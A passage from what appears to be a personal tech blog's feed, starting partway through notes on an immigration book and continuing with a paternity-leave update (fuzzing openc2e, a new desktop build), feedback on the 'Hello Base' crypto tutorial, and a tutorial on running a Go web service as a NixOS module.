- The author cites as evidence the leaked HHS report on immigrants’ impact on tax revenue.
- Ed: From reading some of these studies about tax revenue vs. consumption of public resources, I’m skeptical.
  - The studies often consider time windows when immigrants are working age, which is when they contribute most in taxes and consume least in public support. They don’t capture the costs of sustaining their health in old age or of additional load on the school system when their kids enter school.
  - It also seems impossible to get an accurate accounting of how much a particular person paid in sales tax, especially when so much of their finances are under the table. And it’s similarly hard to decide what portion of public resources a particular person is consuming, especially for things like school where they need additional support from not speaking the language.

1929 Mexican Repatriation Act

1929 Mexican Repatriation Act deported 2M people.
- Many of those displaced were legal US citizens.
- A 2017 analysis by the National Bureau of Economic Research found that cities that enforced repatriation more intensely suffered more economically.

1980 Mariel Boatlift

In 1979, a series of agricultural crises hit Cuba along with fishing limitations due to diplomatic failures.
- As a result, the Cuban economy was struggling, and thousands of Cubans were trying to escape the country.
Jimmy Carter tried to undermine the Cuban government by highlighting how many Cubans were trying to leave.
In response to Carter, Fidel Castro publicly announced that any Cubans could leave the country if their relatives in the US picked them up from the Mariel port in Cuba.
Due to the US Cuban Adjustment Act of 1966, Cubans get a green card after only a year of residency and could get work authorization immediately regardless of how they arrived.
125k Cubans migrated from Cuba to Florida in 1980.
- 100k of that migration happened in just 6 weeks.
The migration increased Miami’s labor force by 7%.
- It was a 20% increase in Miami’s Cuban labor force.
Before the boatlift, Miami was the US city with the highest proportion of foreign workers at 35.5%.
- #2 was LA at 22%.
Over the next five years in Miami:
- Wages for black workers increased.
- Wages for non-Cuban Latinos stayed steady.
- Wages for pre-existing Cubans fell.
- Author doesn’t mention the impact on wages for white workers, but a 1996 study by a Cuban-American economist suggests that it negatively impacted wages for the native population.

Mass migration to Israel

From 1989 to 1995, 610k people migrated from Russia to Israel, increasing population by 12%.
- Wages increased and unemployment dropped.

Immigration and terrorism

A 2023 Cato Institute study found that nobody who entered US illegally has committed an act of terror.
- Nine people were arrested for plotting one.

Visa category	Number of terrorists	Murders in terrorist attacks	Injuries in terrorist attacks
Lawful permanent resident (LPR)	70	22.0	329.5
Tourist	44	2829.4	14961.6
Refugee	28	4.0	21.5
Student	22	158.8	1065.1
Unknown	16	4.8	2.0
Visa Waiver Program (VWP)	14	1.0	3.0
Asylum	13	9.0	669.3
Illegal	9	0.0	0.0
K-1 fiancé(e)	1	14.0	17.0
Government (A-2)	1	3.0	8.0
H-1B	1	0.0	0.0
All	219	3046.0	17077.0

Radcliffe line

In 1947, British lawyer Cyril Radcliffe was assigned to divide up Punjab and Bengal, as UK was abdicating rule of India.
Radcliffe divided the region by religion between India and Pakistan, but it was impossible to create a simple line border, so there were enclosed parts that were exceptions.
- Dahala Khagrabari is a particularly interesting exception. It’s a pocket of Indian territory within Bangladeshi territory within Indian territory.
The Radcliffe Line displaced 14 million people and subsequent conflicts killed up to 2 million.
The Radcliffe line stops in Kashmir, as Radcliffe left India and Pakistan to figure out the rest.
- That led to a war and the Line of Control, which is a de facto border but still not legally recognized.

US capacity for migrants

75% of US population lives on 3.5% of its land.
The US population could triple and be less crowded than France.
Thomas Sowell observed that the entire world population could fit in Texas with single-family homes and yards.
- This was in the early 80s when the world population was about half what it is now, so I think you could currently fit everyone in tiny houses.
US has low population density relative to most other countries.

Country Population Density (per sq mi)

US 86

France 350

Belgium 976

Bangladesh 2,980

Singapore 20,000

Country	Population Density (per sq mi)
US	86
France	350
Belgium	976
Bangladesh	2,980
Singapore	20,000

Americans overestimate immigrants

2021 Cato study found Americans think 40% of US population is first-generation immigrants, but the actual number is 14%.
- Ed: This is such a bizarre finding that I looked up the actual study to see if the question was worded confusingly. It seems unambiguous.
  
  If you were to estimate, about what percentage of the US population are immigrants (were born in another country)?

Paternity Leave: Month 4

Fri, 06 Dec 2024 00:00:00 +0000

Highlights

I found ways to procrastinate writing my book.
I had fun fuzz testing open-source projects.
I picked out components for a new high-end desktop computer for software development.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Enjoy family time

Result: Continued to enjoy family time.
Grade: A

During my self-managed paternity leave, I’m continuing to enjoy the balance between my family time and my time working on personal and professional projects.

Complete and publish a chapter of Refactoring English

Result: Worked on the chapter but didn’t publish anything.
Grade: D

I underestimated this goal when I wrote it. I had started one chapter years ago and kept returning to it sporadically. In my memory, the chapter was 80% complete already, but when I returned to it this time, it felt more like 20% complete.

I got the chapter to about 60% done, but I didn’t focus as much as I could have.

I need to stop procrastinating on the book

Maybe I need new fonts

I started working on the first chapter of my book, but I kept feeling distracted by my site’s mediocre design.

My book’s website uses I simple design theme that I created. It’s just Bootstrap’s default CSS with some custom styling that I’ve added. I couldn’t point to any specific problem, but the look just felt off.

I began looking at blogs and websites that I liked and tried out their fonts on my site:

Jonas Hietala uses Concourse and Century Supra, which are paid fonts designed by Matthew Butterick.
Xe Iaso uses Iosevka Aile Iaso, which turns out to be a font that she designed herself.
fasterthanlime uses Atkinson Hyperlegible, a font that the Braille Institute distributes for free because it’s good for people with vision impairment.

The font that looked best for the book’s website was Concourse, which led me to explore all of Matthew Butterick’s fonts. For the first time ever, I purchased fonts instead of using a free font from Google Fonts. I used Concourse for the headings and Heliotrope for the text.

I switched the Refactoring English website’s font to Concourse and Heliotrope

I was surprised at how much of a difference nice fonts made. It felt like cheating that I didn’t have to make any other design changes, and my site looked 3x better.

Maybe I need a book cover

After installing my spiffy new fonts, I got to thinking about the cover for my book. I plan to commission a cover before I publish the book, so I might as well get it now. More people will be interested if they see a nice cover. So, I wrote a spec for the cover design and hired a designer to work on it.

Maybe I should go back to my previous idea

A few days later, I got an email from a reader asking if they could buy access to the unfinished lessons in Hit the Front Page of Hacker News. I sent them my two new unreleased lessons and a link to the old course. They seemed happy with the material. I got to thinking I should pause Refactoring English and finish my reboot of Hit the Front Page of Hacker News.

Maybe I should focus

At this point, I noticed that I was finding an awful lot of activities that weren’t writing my book.

It’s easy to get distracted because finishing the book feels like such a distant goal. And because it’s a book about writing, I feel like my writing has to be perfect, so I get hung up on wordsmithing everything.

I think I’ll have a better feel for the book once I publish my first sample chapter and see reader feedback. I’m just going to push on until that’s done.

Fuzzing is super fun

Notwithstanding the previous section, I had a lot of fun last month with fuzz testing.

For most of November, I had a few hours to myself when I was waiting for my three-month-old’s first wakeup of the night, which could happen anywhere from 1-4 hours after we put him to bed. In those hours, it’s hard to focus on programming because I’m tired from the day and could be interrupted at any moment, but it’s the perfect time to fuzz test. Fuzzing requires a relatively low level of focus, as it’s mostly trial and error just getting things set up.

Fuzzing openc2e

Nix makes it easy to set up fuzz testing workflows, and I feel like the world hasn’t caught on yet.

One night, I read a blog post about fuzzing a random open-source utility that Facebook published, so I spent an hour reproducing that fuzzing workflow with Nix.

A few nights later, I spent a couple of hours writing a fuzzer for openc2e, the open-source reimplementation of the Creatures game series.

openc2e is the open-source reimplementation of the Creatures game series.

The original Creatures game from 1996 included a custom scripting language and corresponding virtual machine. The language is called Creatures Agent Object Script (CAOS), and it lets players create custom add-ons for the game.

CAOS is a low-level language that looks a bit like assembly:

SETS VA00 "he"
ADDS VA00 "llo"
DBG: ASRT VA00 eq "hello"

Enthusiasts have reimplemented a CAOS interpreter within openc2e, and I doubted that anyone had ever fuzzed it. But it’s a good thing to fuzz because it parses untrusted third-party code if you install add-ons.

I started by fuzzing the lexer for the CAOS language, and I immediately found a bunch of crashes.

Within a minute of fuzzing, I found 20 unique crashes in openc2e.

One of the crashes was just an unterminated double quote, which confirmed my suspicion that nobody had ever fuzzed the code.

* The following line crashes openc2e's CAOS lexer.
"

I made a pull request to fix the simplest crash with a unit test to demonstrate the fix, but the project is semi-abandoned, so it might be a while before I can get all of my fixes in. I hope they eventually get time to review it because I think my PR is neat.

Fuzzing means you can do whatever you want

One of the most fun things about fuzzing with Nix is that you can mess around with the underlying project without bothering anyone.

When I was trying to fuzz openc2e, I realized that the code I wanted to link against was compiled into an object that’s not friendly to linking. I was trying to figure out how to link against the code when I realized I could just patch their Makefile in my repo and make whatever changes I want.

Usually, when I’m contributing to an open-source project, if I want to make a significant change like converting a library from private to public, I’d have to spend a lot of time understanding why it’s private to begin with and then make the case to maintainers for why it makes sense to export the library. But for fuzzing, I’m just off in my own personal sandbox, and I can futz around with whatever I want.

Building my new development desktop

I’m planning a dramatic transition in my software development habits: I’m going to write code like a normal person again.

Starting around 10 years ago, I found it easier to develop software on Linux, but I still preferred Windows as my main OS. I solved this by running Linux VMs in VirtualBox on my Windows desktop. I used per-project VMs to avoid dependency conflicts (e.g., my Python 2 project messing up my Python 3 project).

In 2017, I got tired of having to reboot all of my VMs every time I rebooted my Windows system, so I built my first homelab VM server.

By 2019, I was doing all of my development with VS Code and Remote SSH, which mostly works but is unusual enough to cause issues occasionally.

Then, two changes happened in the last year:

I realized that virtually all of the software I want is available on Linux. I’m growing frustrated with Microsoft’s increasingly invasive telemetry and ads in Windows, so I’m ready to switch to Linux.
Ever since I discovered per-project environments in Nix, I’ve stopped using per-project VMs, and I do all of my development in a single Debian VM with Nix installed.

These two changes mean I no longer need a VM server or a Windows desktop. I’m going to consolidate down to a single desktop running Linux with NixOS, as I’ve been enjoying NixOS on my Framework 13 laptop for the past few months.

I’m making an economically responsible choice by reducing two machines to one, which was how I rationalized overspending on my new system:

Component	Old Desktop	New Desktop
CPU	Intel Core i7-4790K	Ryzen 9 7950X
Motherboard	ASRock X99 Extreme4	Gigabyte X870 Aorus Elite
GPU	ASUS GeForce GTX 970 STRIX 4GB	MSI RTX 4060 Ventus 2X 8GB
RAM	G.SKILL Ripjaws 4 32GB DDR4	G.Skill Trident Z5 RGB 64GB DDR5
Storage	Samsung 980 PRO 2 TB	Crucial T705 2TB
Case	Cooler Master HAF 912	Fractal Design Define 7 Compact
PSU	Corsair HX750i 750W	SilverStone Platinum PS-ST55F-PT 550W
CPU Cooler	Noctua NH-U9DXi4	Noctua NH-U12S redux
Monitor	LG 34UMP95 34"	Samsung Odyssey OLED G9 49" Ultrawide
Monitor Arm	AmazonBasics Monitor Arm	Ergotron HX HD

The disk is most often the bottleneck in my workflows, so I got the best of the best there, even though it feels indulgent. I only need a single OS disk, as most of my data is on my storage server.

The CPU is fast but not top-of-the-line. When I’m buying CPUs, I look at benchmarks and try to pick something that’s 80-90% as good as the best possible option but at 50% or less of top-end prices.

The biggest extravagance is the monitor. It’s a ridiculous 49" ultrawide OLED:

The 49" Samsung Odyssey G9 is the biggest indulgence of my new desktop.

I distinctly recall the joy I felt when I was 11 years old, and my dad came back from CompUSA and presented me with a box containing one of the largest monitors available, which was probably a 17" CRT. “Given the amount of time you’ll spend looking at your monitor,” he explained, “we might as well invest in a good one.” For context, both of my parents are programmers, and from a young age, I spent most of my free time at a computer.

Ever since then, I’ve used my dad’s logic to justify buying premium monitors, and it’s served me well. I’m at my computer for 2500 hours per year. On a per-hour basis, the cost of a high-end monitor is basically nil.

Plus, now that I’ve experienced Hacker News at 5120x1440px resolution, I can never go back.

You haven’t truly browsed Hacker News until you’ve done it at 5120x1400px resolution.

Learning to use an ultrawide monitor

I haven’t received all of the components for my new computer yet, but I already set up my new monitor. I quickly realized I needed a new strategy for managing windows on my desktop.

My old monitor was 34", and I mostly used Win+Left / Win+Right to dock windows to half-width on my desktop. With 5120px of width on my new monitor, I wanted to dock more than two windows at a time.

I tried Komorebi, but I found it too complicated. Then, I found Fancy Zones, and it does exactly what I want. It lets me define zones through a GUI, and then I can dock windows to those zones by hotkey or with the mouse.

Here are my four zones:

1000x1440px - Primary VS Code window
1000x1440px - Secondary VS Code window
1560x1440px - Primary web browser window
1560x1440px - Secondary web browser window

I generally only dock web browsers and VS code windows. Everything else is just a floating window that I only use briefly.

Limiting VS Code to 1000px in width is helpful because I prefer to keep only the editing pane open. If there’s more screen real estate, I forget and leave other panels open like the file explorer. But at 1000px, I can open side-panels occasionally, but it’s noticeable enough that I close them afterward and get back to focusing on the main editing panel.

VS Code with side panels open (left) vs. only the editor open (right)

I also didn’t think I’d care about the sharpness of OLED vs. LED, but I do appreciate the difference. The blacks are blacker, which makes the image feel more crisp.

Similarly, I didn’t think I’d care about refresh rate, but I do notice a difference in 60 Hz vs. 120 Hz. The monitor supports 240 Hz, but Windows doesn’t show me that option for some reason, so I’ll try tinkering when I switch to NixOS.

Wrap up

What got done?

Cleaned up a lot of my blog’s templating and CSS code and reorganized the homepage.
Selected and ordered components for a new main desktop workstation.
Worked on design elements for Refactoring English.
Published a quick tutorial on how to run simple services on NixOS.

Lessons learned

Workflows that let you apply custom patches to other projects provide a pleasant sense of freedom.
- You get to do whatever you want because the changes only affect you. And if you have a workflow that makes patching easy, you don’t feel the burden of building a special version of the code.

Goals for next month

Finish two chapters of Refactoring English.
Work with a designer to complete the cover design for Refactoring English.

My Feedback about Hello Base

Thu, 05 Dec 2024 00:00:00 +0000

The cryptocurrency language barrier

There’s an unforunate language barrier among technologists right now.

Cryptocurrency enthusiasts are excited about the ecosystem and what’s going on in crypto-world right now. They’re trying to bring new people in, but they’re often so entrenched in their crypto bubble that they struggle to explain any crypto stuff to non-crypto people.

I feel like I’m a good candidate to bridge the language gap, as I understand the fundamentals of cryptocurrency but I haven’t been following any crypto stuff closely for about seven years.

Base is supposed to be the bridge

A year ago, I listened to an interview with Jesse Pollak on an episode of Into the Bytecode. He was excited about this new technology Coinbase was working on called Base.

Base is supposed to appeal to developers who are new to the cryptocurrency world and make it easy for them to start building within that ecosystem.

I started exploring Base, and I found that it suffers from the same language barriers as most other cryptocurrency projects. I found the official documentation hard to follow, and it seemed to assume the reader had a deep understanding of the Ethereum blockchain.

Jesse Pollak has responded to my feedback a few times to say it’s helpful in understanding the non-crypto perspective, but then he continues doing exactly what he’d been doing before, so I lost interest in giving him feedback.

I’m summoned once again

This week, Steve Simkins tagged me on Twitter to share an intro to Base that he’d made:

Hello Base

I’m going to take another crack at Base and share my thoughts as a non-crypto insider about how the messaging looks.

What I like about Hello Base

Provides a clear path forward

The official Base docs immediately present new developers with a dizzying maze of paths in their “getting started” documentation.

Hello Base provides the reader with a clear flow from start to finish. They don’t have to pick among several paths of what to learn in order to get started. There’s a single track that eliminates any complexity of which learning path to take.

Lets you do the full tutorial in the browser

Hello Base does a nice job of simplifying the hello world example. The reader doesn’t have to install any tools or learn a complicated tech stack. They can try everything from right within their browser.

Explains its terminology

One of my critiques of the official Base intro documentation is that it casually uses a lot of insider terms that would confuse newcomers.

Hello Base does a good job of recognizing the concepts that newcomers won’t understand and explains them up front. It provides a concise explanation of the problems that Base is trying to solve within the cryptocurrency ecosystem.

Where I think Hello Base could improve

Get to the value earlier

I think Hello Base suffers from a similar issue a lot of other Base documentation does in that it assumes the reader is excited about Base.

The reality is that 99% of readers don’t care about Base and will close the tab within a few seconds if you don’t give them a compelling reason to stay.

The first paragraph should explain to the reader why they should care about Base and why they should continue reading.

Here’s the first paragraph, currently:

If you’re a developer and you’ve never touched a blockchain or know very little about them, you’re in the right place. In just a few short minutes you’ll learn the fundementals and see how you can start building on Base, a blockchain designed to bring the next generation of developers onchain.

If I’m a non-blockchain developer and I read this, what does Base give me? Why should I learn Base as opposed to any other blockchain technology? Why should I learn Base instead of web2 technologies?

Compare Hello Base’s intro to Ruby on Rails’ intro:

Compress the complexity of modern web apps.

Learn just what you need to get started, then keep leveling up as you go. Ruby on Rails scales from HELLO WORLD to IPO.

Rails’ pitch is compelling. It says that it’s going to make it simple to get up and running, and I can use the same tools to reach massive scale.

I’d love to see a Base intro that answers this question right off the bat:

What can I do on Base today that I can’t do with any other technology?

Jesse Pollak has given examples of apps you can build on Base that, to me, feel extremely uncompelling. It’s not the easiest way to do authentication or to send payments, so we shouldn’t pretend that it is.

If I’m a web2 developer, why should I build on Base as opposed to any other tech stack available?

Hello Base doesn’t have to make the case that it’s the best solution for everyone. It’s fine if it’s niche right now (e.g., it’s a way for you to accept payments if you don’t have access to traditional banking), but there needs to be some compelling use case to draw people in.

Trim it down to the fun stuff

I’d love to see the tutorial get to something fun right away. I understand that Hello Base wants to explain the fundamentals, but that should come after showing the reader something cool.

If I read a Python tutorial, it doesn’t start with an explanation of the history of typed vs. untyped languages and proceed to extoll the virtues of memory safety. It just shows me how to print “hello world.”

The reason that “hello, world!” is the canonical programming example is because it’s on chapter 1, page 1 of The C Programming Language by Kerninghan and Richie (K&R). While other programming books at the time were starting with the fundamentalls of variables and typing, K&R got to an example straight away.

Can we do better than hello world?

Kind of related to the above points, I keep seeing Base / Ethereum examples that show how a more convoluted way of doing something that you could already do with web2 technologies.

Maybe for the first example, that’s the way it has to be, but is there something cooler we can show that takes advantage of the unique properties of Base?

If the reader isn’t excited about the idea of storing data on a blockchain for its own sake, what’s something exciting you can do easily with Base that’s either hard or impossible with web2 technologies?

Can I put content behind a paywall without giving Gumroad a 13% cut? Can I create a simple way for fans to give me monthly donations without getting approval from Patreon?

Minimize jargon

Even though Hello Base explains most of the terminology, there’s still a lot that’s not actually defined (e.g., “gas”, “optimistic rollups”).

But even if you defined everything, a reader can’t skim to get a sense of what the tutorial is about because halfway through, we’re basically speaking another language.

Here’s an excerpt from 30% through the tutorial. I’ve bolded the terms that would be unfamiliar to a non-crypto developer:

Another large benefit to these rollups is they stay EVM compatible, which means the code you wrote for Ethereum can be deployed to an L2 without any extra work.

Do we need these explanations at all? If I’m following a tutorial, I just want to see the technology in action. I don’t need to know the history. And I’m fine with a simplified explanation of any concepts I need to understand.

Be honest about the challenges of Base

One of my biggest gripes with the messaging about Base is that they keep repeating this chant of, “It’s the easiest way for developers to build new web apps! It’s permissionless, so anyone can do it anywhere!”

And then you try to start building and they’re like, “Oh, by the way, you need a Coinbase account*, and Coinbase is going to need to do a full body scan to verify your identity. And also, your app can’t store persistent data that’s more than a few kilobytes unless you do these awkward workarounds. And also, you can’t ever change your app after you deploy it unless you do these awkward workarounds.”

* I know you don’t really need a Coinbase account to use Base, but the tutorials all take that path without presenting alternatives.

Base has some rough edges right now that make onboarding hard. I think tutorials should be honest about them rather than surprise developers halfway through or pretend the pain points aren’t there:

You need to spend money even to experiment with Base.
It’s a pain to get money onchain (even on testnet, since testnet faucets make you jump through hoops).
You can’t modify apps like you normally can in web2.
You can’t store data as simply as you can in web2.
You seem to have to interact with a lot of disparate players just to do basic development (OnChainKit, Hardhat, Coinbase, Solidity).
- This might not be true, but this is my perception from casual exploration so far.

Break the dependency on Coinbase

I’m sure there are good reasons why it has to be Coinbase, but it really drags the tutorial down if the reader has to create a Coinbase wallet.

I actually resisted for a while to even try the tutorial because I thought I needed to do real Coinbase verification (Coinbase locked my account for strange reasons years ago).

I was relieved to find it let me create the wallet with only a passkey, but maybe that could be clearer so the reader doesn’t think they have to go through the whole account setup process.

But I’d love to see this friction gone entirely. I’d prefer a tutorial that’s frictionless and fake (i.e. doesn’t really publish to the blockchain) than one that makes me jump through hoops just to publish a “hello world” smart contract to the Base testnet.

mess with dns by Julia Evans is a great example of a tutorial that requires complicated infrastructure (a DNS server), but the author abstracted away the complicated bits so that the reader can do everything from within a single web app.

Test on Firefox

I was able to get through the tutorial up to “Read Contract” and then it just stopped working at “Read Contract.” I’m using Firefox on Win10:

Your browser does not support the video tag.

Run a Simple Go Web Service on NixOS

Mon, 02 Dec 2024 00:00:00 +0000

I have a few toy utility apps that I run 24/7 on cloud infrastructure. One example is PicoShare, a simple web app that makes it easy for me to share files with friends and teammates.

There are several convenience apps I would run if it were easy to run them constantly. But there’s enough friction to running even a simple app 24/7 that I don’t do it.

In the past, I’ve tried running toy apps on my home server. I’ve set up cron jobs and systemd services, but inevitably something breaks, and I get tired of fixing it and just let the service die.

I think I’ve finally found a low-friction way of hosting personal apps that keeps them constantly available while minimizing my overhead in maintaining them: NixOS modules.

What my solution lets me do

Given an arbitrary web service, it takes me less than 15 minutes of work to run it 24/7 on my NixOS server.
I can upgrade/downgrade or change configuration options by changing a line of code and running a rebuild command.
I can run apps with conflicting dependencies (e.g., Python 2 and Python 3) on the same server and never worry about version conflicts.
Keep my entire server’s configuration under source control, so I can roll back to any state at any time.

Why NixOS?

There are a few reasons I find NixOS useful for the task of running a set of services 24/7:

The full system configuration is in text files.
Rebuilding the system is relatively fast (usually seconds or minutes).
Services on NixOS are friendly to composition (I can combine services)
Services on NixOS are friendly to extensibility (I can adjust options or patch behavior easily).

But isn’t Nix complicated?

Yes, Nix is complicated, but it’s more approachable than you might think.

I’ve been learning little bits of Nix over the past year, and I’ve found that you can learn useful techniques for Nix without understanding the whole thing. For example, I use Nix to set up per-project development environments, and I didn’t have to understand a ton about Nix to make that work.

I’d put NixOS modules at intermediate difficulty, but I think once you’ve seen an example, it’s relatively easy to replicate.

Why not Ansible?

I used to think Ansible was a brilliant solution for running services 24/7.

For years, I maintained a set of VMs for various projects, and I used Ansible to configure them.

The first problem is that Ansible is slow. Every time you add a new service to a server, it takes longer to run Ansible against it. I had not-so-complicated servers where applying configuration took 10+ minutes every time. On Nix, minor configuration changes happen in seconds, and longer ones take about 30 seconds.

I also ran into version conflicts under Ansible. If one service depended on Python 2 and another depended on Python 3.7 and another depended on Python 3.10, they’d all break each other and try to overwrite the same files.

Why not Docker?

I’ve tried running services under Docker, and it works okay.

Docker is unfriendly to development. With NixOS and Ansible, you can mostly reuse the packaging code for your development work. There are ways that you can do development within a Docker container, but that’s not what Docker is designed for, so you’d be fighting the tool a bit. Instead, I always end up defining my Docker image redundantly to how I set up my development environment.

I also find that Docker gets harder to use when you have more than one running process. For example, if you have a web app that depends on Postgres, now you have two Docker containers, and it gets a bit harder to manage.

I’ve seen solutions like Podman, Rancher, and k3s, but I’ve never used them. They seem like too much extra complexity, but maybe they’re easier than I expect.

NixOS requirements

To follow along, you’ll need a NixOS system with flakes enabled. I used NixOS 24.05.

I wrote tutorials for installing NixOS on a Raspberry Pi 4 or under Proxmox as a VM.

A basic demo microservice

Okay, with the explanation out of the way, I’ll show how I created my first NixOS module and got it to run as a microservice on my home server.

Create a file called main.go that defines a simple Go web service:

package main

import (
 "errors"
 "fmt"
 "log"
 "net"
 "net/http"
 "os"
 "os/user"
 "runtime"
 "time"
)

func handler(w http.ResponseWriter, r *http.Request) {
 hostname, err := os.Hostname()
 if err != nil {
 log.Fatalf("failed to get hostname: %v", err)
 }
 currentUser, err := user.Current()
 if err != nil {
 log.Fatalf("failed to get username: %v", err)
 }
 localIP, err := getLocalIP()
 if err != nil {
 log.Fatalf("failed to get local IP: %v", err)
 }

 fmt.Fprintf(w, "Time: %s\n", getFormattedTime())
 fmt.Fprintf(w, "Hostname: %s\n", hostname)
 fmt.Fprintf(w, "Username: %s\n", currentUser.Username)
 fmt.Fprintf(w, "Local IP: %s\n", localIP.String())
 fmt.Fprintf(w, "Compiled with: %s\n", runtime.Version())
}

func getLocalIP() (net.IP, error) {
 addrs, err := net.InterfaceAddrs()
 if err != nil {
 return net.IP{}, err
 }
 for _, addr := range addrs {
 if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
 if ipnet.IP.To4() != nil {
 return ipnet.IP, nil
 }
 }
 }

 return net.IP{}, errors.New("no local IP address found")
}

func getFormattedTime() string {
 now := time.Now()
 zone, _ := now.Zone()
 return now.Format("2006-01-02 03:04:05 PM") + fmt.Sprintf(" (%s)", zone)
}

func main() {
 port := os.Getenv("PORT")
 if port == "" {
 port = "8080"
 }

 http.HandleFunc("/", handler)
 fmt.Printf("listening on :%s\n", port)
 log.Fatal(http.ListenAndServe(":"+port, nil))
}

I run the service like this:

$ nix-shell -p go --command 'PORT=5000 go run main.go'
listening on :5000

And from another terminal, I can call the service with curl:

$ curl http://localhost:5000
Time: 2024-12-01 10:51:34 AM (EST)
Hostname: nixon
Username: mike
Local IP: 10.0.0.31
Compiled with: go1.22.8

I can also view the service in a web browser:

The service is deliberately simple and kind of boring because I want to focus on the NixOS packaging part.

Create a simple Go module

Next, create a Go module for this app, as Nix will need it to build the NixOS module:

$ nix-shell -p go --command 'go mod init codeberg.org/mtlynch/basic-go-web-app'
go: creating new go.mod: module codeberg.org/mtlynch/basic-go-web-app
go: to add module requirements and sums:
 go mod tidy

That creates a file called go.mod with the following contents:

$ cat go.mod
module codeberg.org/mtlynch/basic-go-web-app

go 1.22.8

Create a basic Nix flake

Now, I’m going to create a Nix flake that builds and runs this app under Nix. Add the following to a file called flake.nix:

{
 description = "Basic Go web app";

 inputs = {
 # 1.23.2 release
 go-nixpkgs.url = "github:NixOS/nixpkgs/4ae2e647537bcdbb82265469442713d066675275";

 flake-utils.url = "github:numtide/flake-utils";
 };

 outputs = { self, go-nixpkgs, flake-utils }:
 flake-utils.lib.eachDefaultSystem (system: let
 gopkg = go-nixpkgs.legacyPackages.${system};
 in {
 packages.default = gopkg.buildGoModule {
 pname = "basic-go-web-app";
 version = "0.1.0";
 src = ./.;
 vendorHash = null;
 };

 apps.default = {
 type = "app";
 program = "${self.packages.${system}.default}/bin/basic-go-web-app";
 };
 });
}

With the flake, I can run my app under Nix:

$ PORT=5000 nix run
listening on :5000

Again, I can call my service using curl:

$ curl http://localhost:5000
Time: 2024-12-01 10:14:49 AM (EST)
Hostname: nixon
Username: mike
Local IP: 10.0.0.31
Compiled with: go1.23.2

Note that the flake version reports that it was compiled with go1.23.2 whereas the nix-shell version reported go1.22.8. That’s because in the go-nixpkgs line, I specified the gopkgs version that corresponds to go 1.23.2, as I like to pin exact versions.

Add a NixOS module to the Nix flake

It would be a pain if I had to execute nix run for this service every time I restarted my NixOS system. My goal is for the service to run automatically in the background without me having to do anything or manage it. That’s where the NixOS module comes in.

Adjust flake.nix to define a NixOS module:

{
 description = "Basic Go web app";

 inputs = {
 # 1.23.2 release
 go-nixpkgs.url = "github:NixOS/nixpkgs/4ae2e647537bcdbb82265469442713d066675275";

 flake-utils.url = "github:numtide/flake-utils";
 };

 outputs = {
 self,
 go-nixpkgs,
 flake-utils,
 }: let
 nixosModule = {
 config,
 lib,
 pkgs,
 ...
 }: {
 options.services.basic-go-web-app = {
 enable = lib.mkEnableOption "Basic Go web app service";

 port = lib.mkOption {
 type = lib.types.port;
 default = 8080;
 description = "Port to listen on";
 };
 };

 config = lib.mkIf config.services.basic-go-web-app.enable {
 systemd.services.basic-go-web-app = {
 description = "Basic Go Web App Service";
 wantedBy = ["multi-user.target"];
 after = ["network.target"];
 serviceConfig = {
 ExecStart = "${self.packages.${pkgs.system}.default}/bin/basic-go-web-app";
 Restart = "always";
 Type = "simple";
 DynamicUser = "yes";
 };
 environment = {
 PORT = toString config.services.basic-go-web-app.port;
 };
 };
 };
 };
 in
 (flake-utils.lib.eachDefaultSystem (system: let
 gopkg = go-nixpkgs.legacyPackages.${system};
 in {
 packages.default = gopkg.buildGoModule {
 pname = "basic-go-web-app";
 version = "0.1.0";
 src = ./.;
 vendorHash = null;
 };

 apps.default = {
 type = "app";
 program = "${self.packages.${system}.default}/bin/basic-go-web-app";
 };
 }))
 // {
 nixosModules.default = nixosModule;
 };
}

Now, there’s a lot going on in this Nix flake. I’ll break it down below.

Defining NixOS module options

First, I defined the options for my NixOS module. There are only two:

{
 ...
 options.services.basic-go-web-app = {
 enable = lib.mkEnableOption "Enable basic-go-web-app service";

 port = lib.mkOption {
 type = lib.types.port;
 default = 8080;
 description = "Port to listen on";
 };
 };

That means that NixOS systems can import and turn this service on by adding lines like this to their NixOS config:

{
 services.basic-go-web-app = {
 enable = true;
 port = 3000;
 };
}

Defining the systemd configuration

I use systemd to run my web app continuously in the background. When a NixOS system enables basic-go-web-app, it creates a systemd service for my app:

{
 ...
 config = lib.mkIf config.services.basic-go-web-app.enable {
 systemd.services.basic-go-web-app = {
 description = "Basic Go Web App Service";
 wantedBy = ["multi-user.target"];
 after = ["network.target"];
 serviceConfig = {
 ExecStart = "${self.packages.${pkgs.system}.default}/bin/basic-go-web-app";
 Restart = "always";
 Type = "simple";
 DynamicUser = "yes";
 };
 environment = {
 PORT = toString config.services.basic-go-web-app.port;
 };
 };
 };

The ExecStart line specifies the location of the basic-go-web-app, which it gets from the output of my buildGoModule step.

The service also converts the NixOS module’s port option into the PORT environment variable, as that’s what main.go reads (with os.Getenv("PORT")).

DynamicUser = "yes" tells systemd to create a limited-privilege user and run the service under that user’s context. That prevents the service from accidentally clashing with other services on my system, and it improves security. There are many other hardening options within systemd, but I’m skipping them since there is essentially no attack surface to this toy example.

Exporting the NixOS module

Finally, at the end, I export the NixOS module so that NixOS systems can import it:

{
 ...
 nixosModules.default = nixosModule;

Install the NixOS module

Now, it’s time to import the basic-go-web-app NixOS module into my NixOS system’s root flake.nix file.

Note: I’m talking about two distinct flake.nix files, which is a bit confusing.

The first flake.nix is the Nix flake for basic-go-web-app, and it should be in the same folder as main.go.

The second flake.nix is the NixOS system’s root Nix flake. On my NixOS system, my layout is like the Misterio77 example.

In my server’s root flake.nix, I import and pass it to my host (nixon) like this:

{
 inputs = {
 nixpkgs.url = "github:nixos/nixpkgs/nixos-24.05";
 nixos-hardware.url = "github:NixOS/nixos-hardware";
 # Point this to wherever you placed basic-go-web-app's flake.nix.
 basic-go-web-app.url = "path:/home/mike/basic-go-web-app";
 };

 outputs = { nixpkgs, nixos-hardware, basic-go-web-app, ... }: {
 nixosConfigurations.nixon = nixpkgs.lib.nixosSystem {
 system = "x86_64-linux";
 specialArgs = {inherit inputs;};
 modules = [
 ./hosts/nixon
 basic-go-web-app.nixosModules.default
 ];
 };
 };
}

Then, in the Nix file for my host (located at ./hosts/nixon/default.nix relative to my NixOS system root flake), I have this:

{
 ...
}: {
 networking.hostName = "nixon";

 services.basic-go-web-app = {
 enable = true;
 port = 3000;
 };

 networking.firewall.allowedTCPPorts = [3000];

 system.stateVersion = "24.05";
}

Now, it’s the moment of truth. It’s time to rebuild my host with my basic-go-web-app NixOS module enabled:

sudo nixos-rebuild switch --flake ".#${HOSTNAME}"

That succeeded, so I’ll check the systemd logs for the new service:
